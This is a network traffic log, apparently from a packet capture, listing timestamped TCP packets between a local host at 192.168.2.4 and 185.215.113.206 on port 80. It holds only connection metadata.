Dec 9, 2024 20:27:10.080183029 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.080229044 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.081429958 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.081444025 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.081490040 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.081511974 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.082940102 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.082993031 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.083544016 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.083599091 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.084340096 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.084403038 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.084635019 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.084681034 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.085825920 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.085839033 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.085880041 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.087317944 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.087332010 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.087378979 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.088865995 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.088928938 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.089102030 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.089154959 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.090194941 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.090254068 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.090301037 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.090343952 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.091669083 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.091727018 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.091797113 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.091844082 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.092787981 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.092839956 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.117568970 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.117643118 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.117738962 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.117760897 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.118060112 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.118112087 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.118249893 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.118298054 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.119489908 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.119543076 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.119586945 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.119633913 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.123157978 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.123172045 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.123183012 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.123195887 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.123234987 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.123281002 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.123651028 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.123707056 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.124010086 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.124053955 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.125190020 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.125236988 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.125387907 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.125431061 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.126574039 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.126626015 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.211949110 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.212030888 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.212093115 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.212146997 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.212424994 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.212470055 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.212600946 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.212646008 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.213809013 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.213871956 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.213972092 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.214010954 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.215276957 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.215290070 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.215320110 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.215342045 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.216612101 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.216666937 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.216768026 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.216814041 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.218086004 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.218097925 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.218148947 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.219664097 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.219715118 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.219813108 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.219862938 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.220688105 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.220735073 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.220740080 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.220812082 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.223576069 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.223637104 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.224082947 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.224132061 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.224796057 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.224809885 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.224850893 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.225294113 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.225307941 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.225339890 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.225368977 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.226691961 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.226706028 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.226738930 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.226758003 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.227730989 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.227783918 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.227905035 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.227950096 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.229393959 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.229407072 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.229449987 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.230457067 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.230469942 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.230509043 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.231722116 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.231734991 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.231770992 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.231797934 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.233005047 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.233020067 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.233050108 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.233077049 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.234146118 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.234195948 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.234488964 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.234530926 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.235910892 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.235928059 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.235960007 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.235980034 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.236906052 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.236921072 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.236960888 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.236979961 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.238255024 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.238308907 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.238395929 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.238436937 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.239186049 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.239236116 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.239339113 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.239378929 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.240516901 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.240562916 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.240663052 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.240709066 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.241828918 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.241890907 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.252370119 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.252439976 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.252495050 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.252536058 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.252795935 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.252870083 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.252954960 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.252996922 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.254575968 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.254591942 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.254642963 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.255667925 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.255713940 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.255844116 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.255888939 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.256499052 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.256550074 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.256900072 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.256953955 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.258224964 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.258280993 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.258352995 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.258395910 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.259381056 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.259394884 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.259443045 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.260497093 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.260509968 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.260562897 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.261367083 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.261379957 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.261420012 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.263281107 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.263295889 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.263340950 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.265091896 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.265105963 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.265265942 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.266669989 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.266681910 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.266693115 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.266705036 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.266758919 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.267668009 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.267683983 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.267746925 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.269260883 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.269274950 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.269345999 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.269690990 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.269740105 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.269902945 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.269979000 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.271194935 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.271248102 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.271378040 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.271426916 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.272855997 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.272903919 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.273031950 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.273086071 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.273690939 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.273740053 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.273849964 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.273895025 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.275114059 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.275170088 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.275463104 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.275506973 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.276643038 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.276700020 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.276802063 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.276846886 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.277643919 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.277657986 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.277699947 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.278687954 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.278702021 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.278749943 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.279951096 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.279964924 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.280015945 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.309951067 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.310076952 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.310175896 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.310231924 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.310643911 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.310693979 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.310817957 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.310863972 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.311949968 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.311995029 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.312130928 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.312180042 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.312782049 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.312793970 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.312849998 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.314075947 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.314121962 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.314583063 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.314645052 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.315737963 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.315751076 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.315803051 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.316587925 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.316601992 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.316653013 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.416341066 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.416469097 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.416486979 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.416515112 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.416817904 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.416831970 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.416879892 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.417980909 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.418041945 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.418075085 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.418121099 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.419085979 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.419133902 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.419141054 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.419179916 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.420238018 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.420284986 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.420358896 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.420413971 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.421416998 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.421467066 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.421509981 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.421555996 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.422432899 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.422483921 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.422624111 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.422673941 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.423544884 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.423598051 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.423679113 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.423721075 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.424695015 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.424750090 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.424761057 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.424786091 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.425801992 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.425852060 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.425909996 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.425951958 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.426955938 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.427002907 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.427047968 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.427090883 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.428117990 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.428181887 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.428217888 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.428256989 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.429311037 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.429373980 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.429410934 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.429449081 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.430413961 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.430459976 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.430471897 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.430510044 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.431509972 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.431559086 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.431583881 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.431627989 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.432694912 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.432737112 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.432801008 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.432852983 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.433785915 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.433839083 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.433902979 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.433949947 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.434984922 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.435043097 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.435081959 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.435123920 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.436166048 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.436208010 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.436214924 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.436239958 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.437289000 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.437352896 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.437386990 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.437431097 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:10.438311100 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:10.438344002 CET	80	49730	185.215.113.206	192.168.2.4
